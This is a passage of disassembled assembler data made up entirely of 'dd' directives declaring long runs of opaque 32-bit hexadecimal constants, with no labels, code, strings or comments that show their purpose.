		dd 71ED61A3h, 50E6FD4Fh, 19A72E9Ch, 0E5FF0CA0h,	8F13F89h
		dd 0FA89C830h, 0A63D26FDh, 0B315618Ch, 58FC2421h, 454C1498h
		dd 76819FACh, 0FB5C1601h, 0A3BB9E40h, 0CD1009D0h, 0D004C5A6h
		dd 0A015409Fh, 0A1DEC3FAh, 4443BED5h, 665FEA39h, 7DCF21D4h
		dd 8920B308h, 14104A95h, 0B9242FD5h, 14683467h,	904B3A8Ah
		dd 8DC76740h, 768424CDh, 98CC60F0h, 0A1FA42B2h,	588B7026h
		dd 0B5A7B840h, 0C690002h, 0FABFA39Ch, 4600B34Dh, 2BA1B1A6h
		dd 932CCA0Dh, 0E711ECh,	1CD75609h, 9BEF5DD5h, 0AE67805Ch
		dd 5A641A34h, 5C1EC4A4h, 0DB4F8B80h, 0DC163250h, 0B9F0041Dh
		dd 7A2C166h, 0AF9CD8E3h, 597700BEh, 0A97EFF22h,	286B9D09h
		dd 69EC305Bh, 0D947303Dh, 3FC73341h, 0D46CD204h, 0C8C1845h
		dd 0ECBD53D6h, 88D86604h, 4323004Dh, 0B073281Ah, 0B5D900B5h
		dd 0F93677F7h, 723AA995h, 8149BE7Eh, 3D388CFh, 420F402h
		dd 0C8EE8826h, 4458BDh,	1BAD2A12h, 260FAC10h, 87AA5702h
		dd 4156A249h, 2A112708h, 95F45030h, 4100DB5Dh, 0D78D8E49h
		dd 0C03345FFh, 0E97F9A59h, 0ABEE1D5Ch, 74142430h, 73B278DBh
		dd 0C9359h, 4608D49Bh, 791317E1h, 0D821FF65h, 51802744h
		dd 0A53B2CADh, 0D8005E45h, 4FB53E98h, 0B9AE2BB2h, 24A9881Ch
		dd 107D5242h, 968520B0h, 0C5F85F6Eh, 81BAA9h, 0B6B802D0h
		dd 41D40C3h, 78E42E66h,	0AC019940h, 0A58805F6h,	2126023Ch
		dd 30533EDCh, 96020190h, 0B1F29415h, 449B186Ah,	0A381306Eh
		dd 0F0F3A980h, 0B17F112h, 1F96DBCFh, 6007E080h,	0B007BC24h
		dd 50194571h, 0A68184AAh, 1C3E4E72h, 2F226427h,	3564F100h
		dd 0E2A2CD07h, 2D3C01E6h, 72B61731h, 221067D1h,	0E4B10001h
		dd 0D77BEA8Ah, 792C8949h, 6A12A38Ch, 0DE146C21h, 0D0AD2E10h
		dd 22087858h, 0CC2A5CF3h, 18C85580h, 0C324402Dh, 3BC17058h
		dd 244021AEh, 1BDD29Dh,	4C472BCh, 41426932h, 2DFCDD4h
		dd 38FC901Fh, 339000C4h, 68B56DD0h, 0E300BFBBh,	9293C7F3h
		dd 862AA610h, 391A1F30h, 329D20Dh, 163A8CC5h, 0EE98BFFCh
		dd 0FE7BF728h, 2336240Bh, 0DB0C199Dh, 0D8246003h, 1350701Bh
		dd 2C491218h, 34A9E056h, 8ABCA102h, 0E354FB30h,	79AE47h
		dd 4927ABC8h, 0B5FF25E5h, 77FA9E00h, 547C70Eh, 70D94CE4h
		dd 4A152C40h, 0C5843066h, 4F4DBD99h, 731F773Ch,	0F42EE93Bh
		dd 9D8C81CFh, 3E8272B3h, 0C79C33D7h, 3C019864h,	0AD16242Ch
		dd 8802F579h, 570004E4h, 0AB6645DCh, 2A4EA72h, 3A545C28h
		dd 1EC06942h
		dd 6E0C83Ch, 0F04C642Ch, 4AA1D440h, 9F88B1E6h, 5442233h
		dd 99CC0067h, 0A01B067Ah, 88947080h, 10810865h,	0BE113EB3h
		dd 9AC1ECF7h, 62953Fh, 97F9A102h, 946FE2FEh, 3DB2E374h
		dd 3CAE3900h, 6B7BE9C2h, 0FD7519AFh, 8729203Eh,	16D603E9h
		dd 85F01389h, 4829FC98h, 4F8378BCh, 0E1264A43h,	5048843Fh
		dd 3860DA81h, 76F8A34Fh, 90CD722Ch, 3C16100Ch, 58D85DFBh
		dd 5256005Dh, 0CD1C93DEh, 0A4DA04F1h, 8DA6D0F6h, 0D046C210h
		dd 9740C03h, 0C16940E3h, 0D8DFB54Ch, 0CB3F17Dh,	326416C4h
		dd 53583A89h, 0C70A8084h, 7C4F76FAh, 209D48AAh,	74210095h
		dd 2A12A0A3h, 8777B8D0h, 0EFE20EDBh, 0EEFC2567h, 5960059Fh
		dd 0D690DCB5h, 0DCB4C38Ah, 11E3F492h, 32D91017h, 0F0680029h
		dd 242F4043h, 7B1E0B9Bh, 0CCE8068Fh, 0D0535F4Bh, 36217470h
		dd 68584C64h, 0F70E9580h, 809CDC2h, 0E28896h, 563C0108h
		dd 33503092h, 99343929h, 5BA8311Ch, 0E11C9D82h,	0AB486020h
		dd 0D1ECA81Fh, 0BB80AC78h, 0ED243854h, 0D866129Ch, 2CB98B9Ch
		dd 0BD115400h, 4B49910h, 16893655h, 4E2888A8h, 7060DB61h
		dd 90275B65h, 671E10h, 9DB53A66h, 7351C40Eh, 6B3C2C22h
		dd 0F2886900h, 0A9E140F0h, 79766F27h, 4DC78C00h, 0ADBF5DE3h
		dd 61F8B31Eh, 70F8952Eh, 0EC7590F4h, 673FF892h,	0AD0B735Ch
		dd 803E1CC8h, 0DC438634h, 60B829h, 60669049h, 56484647h
		dd 18D77825h, 604465DCh, 5E3993Ah, 931D18EFh, 588981FEh
		dd 783280A0h, 4C41BF1h,	7ED7DB19h, 0DDA0A488h, 95422F07h
		dd 0C08ABC5Fh, 7C8843C4h, 8C409444h, 0BB5060E2h, 0D1C1B50Eh
		dd 6C6FA974h, 1B1E308Ch, 94478D39h, 65A0D700h, 48B1B7C3h
		dd 337F00BBh, 1EB9D055h, 6F01057Dh, 0BD960B3Dh,	0E8200193h
		dd 0D6E1023Ch, 6E6B5F66h, 10076449h, 3B34915h, 2FD05AA3h
		dd 0C900DFBFh, 0B5320799h, 0AC3DD34Ch, 0D9D516DCh, 0C0CDC708h
		dd 30362822h, 0B4788325h, 1EAF03C0h, 3ABE2F57h,	0D1146103h
		dd 3DE88A02h, 0C500C111h, 943120F5h, 0D53EAB0Eh, 76E0D426h
		dd 8B171494h, 0D50FF020h, 0DB6A0F25h, 803F243h,	7F98C176h
		dd 312674CEh, 0FDC0BCDFh, 0A4304264h, 463244C0h, 21EE2400h
		dd 0C4D28474h, 2A6F02E5h, 0A46833DDh, 7859C0CAh, 648AAB00h
		dd 4851ACE7h, 600027A1h, 89BEBDFFh, 0B893D93Eh,	0A3894C90h
		dd 311F5C30h, 0B23951C0h, 2E2671h, 0CF3D410Fh, 0DA6208Eh
		dd 0F8A66490h, 77DBCA0Eh, 698BFDEEh, 1C108516h,	11618C1Dh
		dd 0A10B03CAh, 0DD431E9Eh, 15C0CC99h, 10785861h, 9D056480h
		dd 39C14B89h, 511044E7h, 3F8FA8D4h, 775CA6D8h, 0EA613D0Dh
		dd 0C1B02830h, 8E559E0Bh, 1F9AEE4h, 2392193Ch, 69269128h
		dd 0EB3200A8h, 4174D29Bh, 0BF7100CFh, 0EEB176D5h, 11008E34h
		dd 21A73C94h, 2CA0A367h, 25407EFFh, 648160B2h, 62899147h
		dd 25C900B0h, 60B8567Bh, 5836151Eh, 6FC2B067h, 6C80993Fh
		dd 1EFEEC35h, 39D13E0Bh, 500FDADh, 0F7FC2DA5h, 6D9E3402h
		dd 6471C9DBh, 1B5A3268h, 0B8C444E9h, 8FB88500h,	896E29F5h
		dd 0E04202FFh, 0DDF97ABAh, 2344DC78h, 3C93DAh, 0F09FD135h
		dd 5312B803h, 0B8CB23D4h, 107A4B00h, 0DC8FDF68h, 13649E8Ch
		dd 32AC04D9h, 0A0341366h, 0D253CFC0h, 8AB00018h, 1AE809F7h
		dd 0DB12D59Dh, 600BFCh,	45A81538h, 0C1A83028h, 0E23C6688h
		dd 0DC165486h, 6132631Fh, 0CAC0C04Ch, 461DBCBDh, 0A140A92Ah
		dd 0C28A38D5h, 54664B16h, 234A1544h, 5FA46B2Ch,	69C04A0Ch
		dd 0ACA41Fh, 7778960Fh,	29761C33h, 6646D907h, 0E3C08BCBh
		dd 251EB399h, 12C6C9h, 698AFC98h, 135589Fh, 3E905B66h
		dd 401DEA50h, 0D5CFCABBh, 199168B3h, 0CB4AE31Fh, 2C40613Fh
		dd 0B1CF132Ah, 0FE00F654h, 29F9EDA0h, 3BBC09E4h, 0D0807F47h
		dd 0F1BA40B4h, 0A9B0F70Eh, 2413F65Ah, 5628C8h, 0ACB5354Fh
		dd 256D20DEh, 57ADCA00h, 0CCDC84D6h, 5940FABBh,	3980FC48h
		dd 863FBD69h, 58B0F2EEh, 5F89005h, 0DC8B3E5Dh, 60334112h
		dd 0D17A9BCh, 0F1AF670Bh, 25E0387Fh, 422CBC75h,	461A3EB2h
		dd 0CF1D0064h, 18B8E395h, 9A0E32A2h, 42BEBA1Ch,	498C0F8Bh
		dd 60325884h, 1140D724h, 5E15160Ah, 7CCC6024h, 0CCD00062h
		dd 2F42FC95h, 19C3D4A2h, 2FF5B04Fh, 44204479h, 0C8D48929h
		dd 0F7E8500h, 98D152A4h, 0C1AD006Eh, 70B475CDh,	503BAF6h
		dd 51C76FF5h, 1C712265h, 0F36AC300h, 0AA96FEE1h, 92C7E42Eh
		dd 1815588Ch, 0FFC67448h, 444EC9DCh, 0FB2E8440h, 0A3223Ch
		dd 0D71A2061h, 91CB5F54h, 0DCD03E02h, 0E00BD103h, 2470E528h
		dd 11BC4CC8h, 16FE0733h, 0B9906C19h, 2492188Fh,	910DA3Bh
		dd 4C604DC9h, 38034AEDh, 3CDFD049h, 4B882231h, 0FBA00912h
		dd 0EEF94C8h, 3ACEA6D6h, 7132C740h, 4112AED7h, 78C738D9h
		dd 846A1A02h, 8CF240F0h, 7427D440h, 97C98011h, 0EC081400h
		dd 58A6D705h, 393E440h,	0F148CFC1h, 2682B881h, 51003C72h
		dd 186B3BE3h, 389A3Ch, 3EF837AAh, 143D0D67h, 51EF1898h
		dd 0E07DE998h, 11D725B3h, 86AB1420h, 2100026h, 3F490554h
		dd 334FDC9Eh, 17F95460h, 12670075h, 0B5C17038h,	0E70C4A77h
		dd 48A6190Ah, 27FEB805h, 0A0209C3Ah, 0A92F9D66h, 326CF00h
		dd 6879C6D6h, 45EC92FEh, 0D898EDE8h, 430E1F7Ch,	40EFCBE0h
		dd 0FE4F309Ch, 2C9C91FCh, 9D506034h, 481DE46Fh,	1BC13212h
		dd 21A02E4Dh, 0C0D23C41h, 176401DCh, 447A61AFh,	82DCAE98h
		dd 0F482EDC8h, 2624C169h, 0C880B4h, 0AA929366h,	47112130h
		dd 37A20B00h, 27AD2E28h, 0FBB000D6h, 0A9C3769Dh, 0FA07FC4Dh
		dd 0FDCC36C0h, 0D4788080h, 2A18C6AEh, 0E4F808D8h, 359D0700h
		dd 6DC83E25h, 0B2FA00F3h, 658B6460h, 5E30DDA3h,	0CB4D40F7h
		dd 68E0C0h, 951DFF51h, 36C101C2h, 0A90CFC75h, 61960E25h
		dd 1B56006Eh, 699FE587h, 13002BE2h, 0BBAB83CEh,	795FFC25h
		dd 8FF13D60h, 900EC38Ch, 7D00EA39h, 0BFDBFF7Fh,	1EF5980h
		dd 3CCB50EEh, 20555779h, 39C79BE5h, 63D108B3h, 2BCCA732h
		dd 19EE03ECh, 8A35FF8Dh, 0F5AB5105h, 0EA806701h, 77113B42h
		dd 0DEFF0004h, 43DA6DA4h, 7158B44h, 88AB2Bh, 60DF5BCFh
		dd 62BC41h, 0DD2D536Ch,	0F703EC0Bh, 0ACB39C3h, 0ED3103D3h
		dd 8C42CD7Fh, 26411118h, 3F49A908h, 0D680FAF2h,	32BB5F1Eh
		dd 0B1EC45BAh, 57338DF2h, 86D29F9h, 0E44B0460h,	0C18C358Dh
		dd 73BB65F0h, 7B5F0039h, 0EF725A62h, 130C44C7h,	29D5789Dh
		dd 0E8A425h, 7A5033E3h,	2FB2EBEEh, 0E072D8FDh, 69AA831Eh
		dd 3080089Ah, 60628084h, 0C19D49A7h, 0F18E90Dh,	0F5A18741h
		dd 4F90E2h, 0D5B877B0h,	749EA786h, 0D08F3700h, 63DBEA5Ch
		dd 776C00AFh, 0A7CB296h, 0BB24D78Eh, 28841CF6h,	2087B6A8h
		dd 5865AC7Fh, 7DEB01C9h, 359CC0EFh, 81404096h, 5200CFF9h
		dd 0B373174h, 9EE9960h,	5FBDF262h, 0E1BE3400h, 0CD34D789h
		dd 0C80861F9h, 0B5D68FA7h, 0BDA1978h, 13B6470Ch, 3A8618Eh
		dd 0BE53FE79h, 0B0D6B1BFh, 0FFDD2E01h, 910EF263h, 38802980h
		dd 0EE365435h, 1FA77607h, 0FE1D8A4h, 402424C4h,	57E56h
		dd 42E79560h, 62773794h, 0DA53DB1Ch, 0DD3BEC00h, 7971F279h
		dd 0B4D21ED3h, 0F8BE8086h, 0E4B829E5h, 4F0C0BECh, 798D0EB5h
		dd 1C300010h, 94923C37h, 7C032499h, 0AC60FF62h,	36C4887Dh
		dd 9B7F3Bh, 0B9783D29h
		dd 0D9FF9825h, 202DBF30h, 40A98E52h, 6E906CEBh,	0A4C58604h
		dd 4D05B0Ah, 0FF29F4Dh,	5E6540A0h, 0B1251D40h, 0EC00AF42h
		dd 318790D5h, 3C268B8h,	2DBEE9E0h, 9BB03DA3h, 9E76AC62h
		dd 281DC401h, 0AB947F42h, 6C50F03Fh, 5DB88D77h,	0FD3FFA07h
		dd 0F5307638h, 614B9DC9h, 5C8CE1DFh, 232C2582h,	1D5D002Ch
		dd 59FDFC9h, 0CA240081h, 45BDACB2h, 5E076E43h, 8C4CC340h
		dd 287B79B0h, 0FFDF0019h, 3012C0B3h, 200E5E2h, 597DFC72h
		dd 7849AF6h, 752E298Eh,	0ED822147h, 4056CDE7h, 54E04090h
		dd 0EED0EB00h, 3A4DC7FEh, 0A86354B2h, 68433052h, 0BFCD9528h
		dd 0A9D34F06h, 7D20DD81h, 381C2039h, 30C35200h,	433163BBh
		dd 5BC718DAh, 4072D1F1h, 5974C1E8h, 0A1B84901h,	0A2ED3BA7h
		dd 2D88D0h, 26A97A84h, 9EEC07AEh, 0D7182890h, 0CB41D4B5h
		dd 68A8490Bh, 5B2A51Dh,	44395D8Dh, 0C84B809Ch, 554D8C70h
		dd 6E2A8324h, 0D682BFB4h, 0FE9046A7h, 0B24284A1h, 0FBFA3500h
		dd 775537D5h, 6407D974h, 5F49B9F4h, 0F62B184Ch,	9ADE00A3h
		dd 23AB6CC0h, 5C0C2D74h, 30B1F403h, 0DBAC034Fh,	30B31777h
		dd 0D54038h, 36E2AF92h,	7EB2F56h, 9D2CB053h, 58F5E607h
		dd 0D117641Eh, 0E44F5C40h, 3CBA3DBh, 0FAC56616h, 4901395Ah
		dd 0C681EB17h, 91805449h, 0FFB1EE1Dh, 0A7001ABAh, 0CF8CB5ADh
		dd 62CD4B0h, 7D541116h,	0F500C991h, 0B4B16A72h,	3E3F1DCh
		dd 0F8716EFBh, 61006FB6h, 0E7055020h, 796C8411h, 0E4421E17h
		dd 0EFC4800Ah, 6DA8EA66h, 0F651AC60h, 1998514h,	17E8F835h
		dd 0FCDAE974h, 0D8007DC6h, 3911476Bh, 60B708E5h, 83C4B15Ch
		dd 150296E1h, 6BCFFEC2h, 4FB8A2E4h, 4B62305h, 2C919103h
		dd 8842A819h, 870EB9h, 977A78E8h, 0C67C727Eh, 5E9FA206h
		dd 612776h, 0EA519301h,	0E959D817h, 6EBD08C0h, 0C0066F6Bh
		dd 20E76361h, 1A0371A8h, 0C3EAC25Ch, 0E92FD819h, 0FE66000Ch
		dd 0D8CF5632h, 41E762D5h, 50F78380h, 1410EED4h,	0DEE3B400h
		dd 663379CFh, 81D86007h, 8516DF64h, 9CF9C62Ah, 79AF9930h
		dd 0EB5332h, 0F0397CC0h, 551B7230h, 60D8A1Ch, 17C77641h
		dd 4980A983h, 0FDC02BB7h, 0F0E0CFAh, 0B26FD0h, 5D139F3Dh
		dd 6673036Ah, 0B9790ACh, 4F676100h, 0C7119F1Ah,	0C2D400AAh
		dd 0B7DBE022h, 0ECF570B5h, 1415C8D7h, 3A987736h, 43D806ECh
		dd 0C13049h, 853FA8C8h,	3B8C1620h, 5F891700h, 0B52B910Fh
		dd 3D9C7850h, 0D800B37Fh, 74BCE940h, 0D8A83853h, 0F9009CB6h
		dd 0E0232DD0h, 0A426B005h, 2487BFCh, 0F99CA1Fh,	0F4846BC0h
		dd 0A7BB4008h, 0F8B030Eh, 0BCB92DC7h, 0BD3E6C20h, 0EFF8D76Fh
		dd 0DADD7B00h, 0DEEC1BCFh, 89A31437h, 0F82298B1h, 86FB4E00h
		dd 115C4B6Dh, 401400FEh, 996BEACAh, 0D0FCD3B3h,	0F926A11Fh
		dd 39E13887h, 90275483h, 0F67A1EE5h, 20DB0F91h,	86035D3h
		dd 0E396F28Eh, 17BB4F06h, 3F69FA82h, 0BF1FF521h, 0CAB4C04Dh
		dd 8BD3631h, 0C52FA8A8h, 54175D05h, 0CC569373h,	846A310Ah
		dd 13C0689Ch, 0C74CD32h, 1E2F70DBh, 0C8C61Ah, 252E2D17h
		dd 73601241h, 8FEA4A28h, 5E49C2DAh, 0DD252762h,	0A2C38001h
		dd 0A091BA01h, 863D0FCCh, 6100F708h, 44D98321h,	0D7B01BEh
		dd 14D33B5Bh, 70A088FEh, 6B8E42D8h, 446CCB22h, 85920FF0h
		dd 40DE87AAh, 0CC1D5BA3h, 1AFE51D4h, 95D1CA00h,	824EEB14h
		dd 2947F01Ch, 80946D27h, 238B9285h, 0F913FE59h,	6C007076h
		dd 0B1774CF1h, 90DCA4C0h, 2420A495h, 6DC0FEAh, 21FD0107h
		dd 9F7E21E9h, 0C1140221h, 0D353011Ch, 0B4542007h, 2EC57C4h
		dd 78AC7C55h, 8829CB1h,	1483AB74h, 0E9785E4Ch, 0EA00BAE8h
		dd 23B8AF2Eh, 1E1A67h, 45DCCDEFh, 51FB4BE9h, 3BF284A8h
		dd 332750A1h, 0BB6182Ch, 37A419h, 0E843B444h, 194EA004h
		dd 0F742939h, 0E76427AEh, 0FAB210C1h, 0C9EC63A2h, 0FCD04CC5h
		dd 7D70006Fh, 57AB0F89h, 0E76FEB02h, 8197ACE1h,	0D773D2Fh
		dd 0EEC8538Bh, 185C0206h, 4154E080h, 0C5280460h, 0F8249FCh
		dd 0E08301DAh, 0B0B64800h, 2A30B54Dh, 0CC60EE7h, 199400D5h
		dd 6377EBB9h, 8000F539h, 5C85032Ah, 513EC6h, 0C5581A5Fh
		dd 0F887DAD7h, 0ECD3B11Eh, 89590103h, 820800D2h, 6494F180h
		dd 0AF03C17Bh, 33198AD7h, 0AD291DEDh, 0E003C004h, 824F2390h
		dd 0E3344D00h, 0A9979CD1h, 28C4E8D0h, 22888C7h,	5BB4C163h
		dd 0A2E0D366h, 68A05CAFh, 59C2EF30h, 0E05874CAh, 38DBA407h
		dd 1C7CF9B2h, 7526B94h,	39607E5h, 3100E430h, 797ADEDCh
		dd 0FF85CFh, 979B2250h,	0BE0CE67Ch, 0D0376303h,	0D341E8A4h
		dd 0DA8800B2h, 0CC033597h, 0FF3922EDh, 0C5040063h, 6473B89Eh
		dd 5B1100E5h, 499A0733h, 0C1D4E065h, 58462895h,	0CE844h
		dd 9BBADAEh, 0D847025Eh, 9879DE0Ch, 0BD0201Bh, 4989B1EDh
		dd 0AF49568Ch, 0D428322h, 0E9EF20B9h, 6E94F42Ah, 0B7A108C0h
		dd 18D7B37Eh, 39C47349h, 5607A541h, 0DB8FB6F5h,	0FA19D666h
		dd 28573079h, 0B1E5D050h, 0E6448401h, 10AEB9A4h, 31D83B20h
		dd 7D11A5CFh, 438450DAh, 0CEF22B95h, 3226AD00h,	0CAA746D6h
		dd 79881873h, 435D61D1h, 480C8071h, 0F9EA3389h,	9C409598h
		dd 0EB010ECAh, 857068B7h, 21BAE507h, 2E024983h,	0D3E0B6CCh
		dd 0A139B115h, 0F9DC0AD9h, 26808050h, 0D7317356h, 8A680C77h
		dd 9641F133h, 70D2CC00h, 0FD2A4F35h, 13CA0014h,	2E053CB3h
		dd 0E5065F55h, 0DA6F46A4h, 3D5A7DA9h, 0EB1EF2BAh, 8B5C0FBBh
		dd 0E5DF1540h, 0F90194DDh, 8CE474DAh, 0BDD4F4ACh, 0F3470AB0h
		dd 8688A351h, 5180D8B6h, 0AD04B578h, 405358E5h,	902EB1C1h
		dd 145D54E0h, 0C0ABDB3Eh, 445E5B80h, 0FD07816Bh, 2FE0B48Dh
		dd 0D8E18Ch, 4373A5ABh,	0DB1BC52Ch, 0AD089350h,	295FFF30h
		dd 393D9CFCh, 560052F6h, 0CC4ACF15h, 891B5D7Bh,	0B68E8C0h
		dd 1AFB16F0h, 29F37901h, 84B9A204h, 28E5C544h, 6B8DDECh
		dd 0D1A1D371h, 45E0291Dh, 0E42E71C1h, 702085B1h, 0E4FA89ABh
		dd 0C08381C4h, 92A7E522h, 128B4638h, 842C5FAFh,	0E9A400E0h
		dd 0FDD0E1DFh, 0E5182556h, 0BC295CFFh, 0B8AB1C68h, 12DC8004h
		dd 152550C2h, 0D7557090h, 0F310F240h, 0D470AB53h, 0D377A480h
		dd 424529A7h, 204792B0h, 0E5B05754h, 5ADE5E12h,	5F158001h
		dd 1044E438h, 19E8433h,	11EFF920h, 21CC1464h, 7DA0080Ch
		dd 9B29D863h, 2D71C845h, 3672009Ch, 7CBEFA12h, 1C907D93h
		dd 8672D942h, 8D839238h, 2103A0EDh, 87FA46F1h, 6FA0DE30h
		dd 50C85F27h, 449DA847h, 6C00A07Ah, 1EC00D38h, 0A0D0B6DFh
		dd 0AE5BA2Ch, 964349D3h, 0AF0A3FCCh, 830515Ah, 4185C46Ch
		dd 1C0CD9B7h, 0E3F79CB9h, 6AD9081h, 20723399h, 4670BD8Ch
		dd 3902F930h, 4894C75Fh, 81298CA0h, 64DF003Ch, 0E44D9054h
		dd 5C9EAE15h, 7CDC226Ch, 195860AFh, 0B77DB156h,	0F770C083h
		dd 0DF970073h, 0A880400Ah, 7201D4CDh, 0D724906Eh, 28415E5Ch
		dd 7D11AA06h, 0F14180DBh, 57C52C0h, 0A9A60718h,	30A54629h
		dd 0B96A9213h, 88520372h, 6FAC04F4h, 19827751h,	5BDA417Eh
		dd 0A0A0D3E4h, 250BAB8h, 15E42B19h, 0D780DB8Ch,	0BD2148B1h
		dd 0AA50EE78h, 0D1504508h, 0B76B814h, 96A0600h,	21E79280h
		dd 0C0FEFCF2h, 0E6EC5CA0h, 0C548B1FBh, 61228E24h, 2B20A37Bh
		dd 0A01DF3C4h, 327854C0h, 8CA806DEh, 5DF2D4C0h,	0B6E9DC61h
		dd 0C02387C2h, 0C46D8D14h
		dd 5C4B009Dh, 0FDB96F45h, 0C6C8D848h, 41B37Dh, 5BB61037h
		dd 39B9256Bh, 0DF0A500h, 0BD184566h, 1DAB16FCh,	0B8E4000Bh
		dd 0D8A38C6Eh, 0C187A91Eh, 5198370Ch, 7BC06DAh,	20D3FA5Fh
		dd 30A7E813h, 6F0EFC20h, 8875097Fh, 1082BF5Dh, 0A842555Fh
		dd 0F31041F7h, 98A044D2h, 937F0364h, 3D97DB16h,	0E50EEBB0h
		dd 0E933470Bh, 4444107Ch, 0C7F807A3h, 0A0F228C2h, 0F5AA8A9Ch
		dd 0C4189728h, 65170A78h, 1430900Ch, 77D4F3C6h,	5F2B1D1Ah
		dd 0A711C7D3h, 7450B293h, 0E852E866h, 5FD712C8h, 20A05020h
		dd 44F80A53h, 24A8A969h, 74803F74h, 978CE581h, 5798A16Dh
		dd 0E915B91Fh, 4048E617h, 70613701h, 0E73065E3h, 0AE152098h
		dd 7AD8F69Dh, 1479EB60h, 0BD7FBD4h, 3C84A59Ch, 89699010h
		dd 0F16CFD00h, 4196D28Eh, 0D81F0048h, 2F3EE48Ch, 0FC175D80h
		dd 1C20888Fh, 4B1961Ah,	743A3019h, 490858Dh, 41A95020h
		dd 0D48987A1h, 6A053181h, 8103308Ah, 867FD5B2h,	0FA30FEEAh
		dd 0B8234CB9h, 2B90DD21h, 82AAB8C5h, 14627F8Ch,	0C4B60C02h
		dd 0AC044866h, 0B5586A2Bh, 0BC40C4C0h, 1A9901E4h, 88DBFCC4h
		dd 0F81185BDh, 0BC4072FFh, 14E58637h, 0B73200ABh, 0D960CC1Ch
		dd 2500176Dh, 0B57CAAC3h, 0C275FFF0h, 0BE481D31h, 62A05540h
		dd 0CF68D200h, 0F56EFEB0h, 90D90747h, 0A08DC80Fh, 0B339EABEh
		dd 3D455E00h, 74C65C17h, 0E0B600A1h, 3FF0522Ah,	0B700737Ch
		dd 0E93D87F8h, 4578AA2h, 0AC882C68h, 9D00FE30h,	0B08E170Fh
		dd 5AC100C5h, 0D645238Bh, 6600FBCDh, 9B93D8CFh,	12EF38h
		dd 80B6D25Dh, 21578C68h, 9D0E5A1Dh, 0BD050917h,	74C3450Bh
		dd 39FFA03Eh, 0C0EB00FBh, 0ECF0BDB8h, 545C74D3h, 0EE5E8048h
		dd 2E044BBEh, 3615A1h, 2FBB4ADh, 1C1601E2h, 78205BE8h
		dd 0F2DE33h, 84B68391h,	0A5FEBD86h, 44E0221Fh, 45E4AD40h
		dd 12210D04h, 90305E2Bh, 823DEBECh, 9A729007h, 0EE80E787h
		dd 94312FA3h, 23AA4008h, 0BA00397Ch, 0D7728707h, 70616B6h
		dd 74FCB8A6h, 0AF9350F8h, 1C921480h, 5FF2B908h,	80A39E1Dh
		dd 9687E5ABh, 92479DDh,	4B08500Fh, 73468458h, 84AF46DFh
		dd 1327F019h, 40DBF67Eh, 6E20C844h, 6F0070B9h, 4C5A0C1Dh
		dd 28948C9h, 0E8FB1BD3h, 0F864788Bh, 0DD4CACB0h, 48412F7h
		dd 44F3B020h, 0D099CA07h, 828DC5B8h, 1482F0D8h,	0FC23D55Ch
		dd 0B09100AEh, 0B68F40E0h, 0C8347D8Eh, 3CA2C17Ah, 0F907F23Eh
		dd 804DDFD7h, 0A4A3C48Ch, 0C77B3013h, 0A088F006h, 46E10FA1h
		dd 0B0A051ECh, 95F54E9Dh, 527E4100h, 0E371AB15h, 0ED84B86Dh
		dd 9007D13h, 967833DAh,	4CDB5DEDh, 0E69DF88Dh, 0FD03BC44h
		dd 659BE1C9h, 364B01FFh, 0A402C478h, 9040A154h,	4E243200h
		dd 1268B518h, 9FFE0Ah, 0AF899B7Bh, 0B81D84E0h, 0C4F8D648h
		dd 1004BFCh, 945D1879h,	1DE57D00h, 0B0E809Bh, 157001E3h
		dd 415169ACh, 6A46F49Dh, 25ECA152h, 10145Bh, 0C38F4704h
		dd 66F5D5A5h, 2AE37600h, 690FE47Eh, 5ECB80Bh, 0B619B8D2h
		dd 3A188089h, 58035CA1h, 41442285h, 0F8C08573h,	2842B7h
		dd 8AF1C536h, 0EFB86AC8h, 7533171Dh, 17C8954h, 0D22341E7h
		dd 9020E85Fh, 36C80185h, 4021FED9h, 49F0F870h, 8A8F7B0Ah
		dd 2740EC33h, 7F25E32Eh, 8E5C99B5h, 608058A5h, 0A6495542h
		dd 0ECE99D00h, 3914B3B0h, 0D2441C9Bh, 0F348C485h, 0EB3C8C52h
		dd 187DAA2Ch, 0EA336840h, 85370A5Ah, 47B83869h,	81E926B6h
		dd 244C490h, 0D4BC90A1h, 0AF3D9480h, 8CC01926h,	2C31F630h
		dd 6D3FD878h, 0C1488047h, 67449A2h, 4FF20584h, 763067h
		dd 259BC3A8h, 0AE187E6Dh, 0B949CD80h, 60AA78BDh, 327E947h
		dd 5500B17Fh, 481E9F20h, 28B89828h, 38BCB08h, 0A2F80D5Bh
		dd 87981C50h, 0D017DDAEh, 0C030C484h, 3A9E8FC5h, 19247A66h
		dd 9CC04FC8h, 0A8C1B5EBh, 19AF0438h, 0A611E974h, 6E5C6850h
		dd 0FD3F006Ch, 0CE091194h, 38004AFBh, 0CDBA5087h, 93609A59h
		dd 0A5AE1FE8h, 0DF6E4810h, 9C0CBF85h, 0D930CFE9h, 6F95060Bh
		dd 0FAA4B8A9h, 99FFh, 91EFCC6Dh, 41F6C5B8h, 0E5C9990Bh
		dd 5CE0079Dh, 7D58C20Eh, 0C2D4A0B6h, 2CA71Ch, 656625D5h
		dd 314B62ECh, 3F51F71Ch, 99D08B25h, 7844DFD0h, 87D8CCh
		dd 0DA0D9C9Dh, 0CC58F27Ch, 974D9000h, 37B7E165h, 0A85F05E4h
		dd 8855D723h, 0CE09AD08h, 224C2B51h, 23F7C724h,	5970A989h
		dd 2900337Ch, 61FA5C69h, 582AD16Bh, 0AC41A19Dh,	0E0DE17E8h
		dd 19A5002Dh, 42A7C1E7h, 75CFC65h, 71488D6Ch, 1B00B473h
		dd 58EDBF64h, 0FC001FBEh, 92E8A7E6h, 0E8EB43B5h, 0A07200FAh
		dd 0BBD72B5Eh, 5954AE4Ch, 0DF00CC5Ch, 0C4F6511Dh, 50439E19h
		dd 16D108D6h, 225CF2B6h, 5044FC4Ch, 0CAAFB500h,	28B722CFh
		dd 1EE524C0h, 84501000h, 0FA41D369h, 4888B8A7h,	7000D484h
		dd 72FBDC9Bh, 2116DB4h,	93660EBCh, 68C42CFFh, 6528797Dh
		dd 8022B478h, 9E4670AEh, 2C70A634h, 2624CAE4h, 0C460984h
		dd 4C0060E4h, 6C769F55h, 31F9A44h, 9293EF06h, 6E90073Eh
		dd 5F38AF20h, 109F2631h, 0E5A9414Eh, 5ECCA856h,	58B0775Dh
		dd 7C800C89h, 0B61264AFh, 6C920C09h, 608B8088h,	1BF9A24h
		dd 0AF236BE3h, 38B19DD0h, 2EBE8000h, 81EE6733h,	343230h
		dd 37078E5Bh, 0F39570Fh, 0B6D0FE0Dh, 103992CDh,	0B432D3Ch
		dd 9F2ECA1Fh, 0D6241CC0h, 0FCFD07h, 715897D9h, 0E609336Ah
		dd 5D02889Ch, 667FE5C8h, 8D0F0908h, 8C944F2h, 24D822FCh
